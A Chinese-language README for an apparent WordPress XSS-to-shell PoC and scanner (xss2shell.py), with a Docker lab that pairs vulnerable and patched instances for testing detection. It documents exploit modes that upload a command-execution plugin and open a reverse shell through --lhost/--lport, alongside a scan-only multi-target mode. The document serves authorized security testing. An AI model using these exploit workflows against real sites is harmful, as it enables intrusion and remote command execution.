开发者: YogaGymn
用于经授权的 WordPress 安全测试的 PoC/扫描工具。该项目包含单目标利用工作流和并发多目标仅扫描模式。
重要提示: 仅在您拥有或已获得明确测试授权的 WordPress 安装上使用此项目。多目标扫描器有意仅限于指纹识别和 XSS 反射检测;它不会针对目标列表执行凭据捕获、插件上传或 RCE。
原始脚本支持:
auto、xss 和 direct 模式。新增的扫描器支持:
ThreadPoolExecutor 进行并发扫描。多目标模式不会调用原始的 RCE 函数。
requests安装依赖:
python3 -m pip install requests
如果你的 Linux 发行版使用外部管理的 Python 环境,请使用虚拟环境:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
克隆或复制该项目:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
或者直接放置:
xss2shell.py
in your working directory.
创建一个名为 targets.txt 的文件:
https://example1.test
https://example2.test
https://example3.test
注释和空行会被忽略:
# Authorized lab targets
https://example1.test
https://example2.test
运行扫描器:
python3 xss2shell.py -i targets.txt
默认并发数为 10 个 worker。
例如,使用 20 个 worker:
python3 xss2shell.py -i targets.txt --workers 20
对于小型实验室:
python3 xss2shell.py -i targets.txt --workers 5
不要选择不必要的高 worker 数量,因为这会增加连接负载,并可能触发速率限制或防御性控制。
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
默认的 scan_results.txt 使用制表符分隔的字段:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
示例:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
状态 含义
XSS_REFLECTION_DETECTED 扫描器检测到所测试的 HTML
反射行为。这本身并不构成 RCE
的证据。
XSS_NOT_DETECTED 未检测到所测试的反射。
ERROR 检查过程中遇到异常。扫描器可报告如下详情:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTED这些值描述检测例程所观察到的响应;在将结果视为已确认漏洞之前,应进行人工验证。
原始脚本同样支持单目标参数。
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
XSS/直接工作流可以创建或激活包含命令执行功能的插件。仅在授权的测试环境中使用它们。
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
参数 描述
target 单个目标 URL。
-i、--input 包含多个目标的文件。
--output 多目标结果的输出文件。默认:
scan_results.txt。
--workers 并发工作线程数。默认:10。
--mode 原始单目标模式:auto、xss
或 direct。
-u、--username 用于原始直接/回退工作流的
WordPress 用户名。
-p、--password 用于原始直接/回退工作流的
WordPress 密码。
--lhost 用于原始 PoC 的回调/反向 shell
主机。
--lport 反向 shell 端口。默认:4444。
--slug 插件 slug。默认:xss2shell。
--callback-port 回调服务器端口。默认:9090。
--no-rev 在原始工作流中跳过反向 shell
触发。多目标模式使用 Python 的:
ThreadPoolExecutor
每个目标都作为独立的扫描任务提交:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
结果会在各工作线程完成时收集,而最终输出则按照原始目标顺序写入。
多目标模式专为经授权的安全评估和实验环境而设计。
推荐工作流程:
targets.txt。未经许可,请勿对第三方系统使用该扫描器。
该扫描器并非完整的漏洞评估工具。
具体而言:
unknown 并不意味着目标存在漏洞。.
├── xss2shell.py
├── targets.txt
└── scan_results.txt
一个本地隔离的实验环境,用于针对 CVE-2026-64638(WordPress Core 登录页面上的预认证反射型 XSS)测试红队检测工具。
| 服务 | 角色 | 本地端口 | WordPress 版本 |
|---|---|---|---|
wp-vulnerable | 漏洞版本 | 8081 | 6.4(处于漏洞影响范围 6.4–7.0.2 内) |
wp-patched | 已修补版本 | 8082 | 最新版(待 Docker Hub 上可用后固定为 7.0.3) |
adminer | 数据库检查工具 | 8083 | - |
所有端口仅绑定到 127.0.0.1,因此无法从你的宿主机外部访问。
docker compose up -d
docker compose ps
等待 15–30 秒让 MySQL 就绪,然后打开:
在两个实例上完成标准的 WordPress 安装向导(创建管理员账户等)。
# Check the actual WordPress version in each container
docker exec wp_lab_vulnerable wp core version --allow-root --path=/var/www/html
docker exec wp_lab_patched wp core version --allow-root --path=/var/www/html
如果镜像中没有 wp-cli,请通过 /wp-admin/index.php 页面检查(版本通常显示在页脚中),或通过页面源代码中的 meta generator 标签检查:
curl -s http://localhost:8081 | grep -i generator
curl -s http://localhost:8082 | grep -i generator
将你的红队工具指向两个端点:
http://localhost:8081/wp-login.php →
应被标记为存在漏洞。http://localhost:8082/wp-login.php →
不应被标记为存在漏洞(验证无误报)。对于基于版本的检测(而非主动利用),红队/蓝队使用的最安全且最常见的方法是版本指纹识别:从 meta generator 标签或 /wp-json/ REST API 中提取版本号,然后将其与受影响的版本范围(6.4 ≤ version ≤ 7.0.2)进行比较。
curl -s http://localhost:8081/wp-json/ | grep -o '"version":"[^"]*"'
docker compose down -v # removes all containers + data volumes
wordpress:7.0.3 标签,请使用 wordpress:latest 镜像作为已修补实例的临时替代,待该标签可用后再更新。所提供的源文件中未包含许可证信息。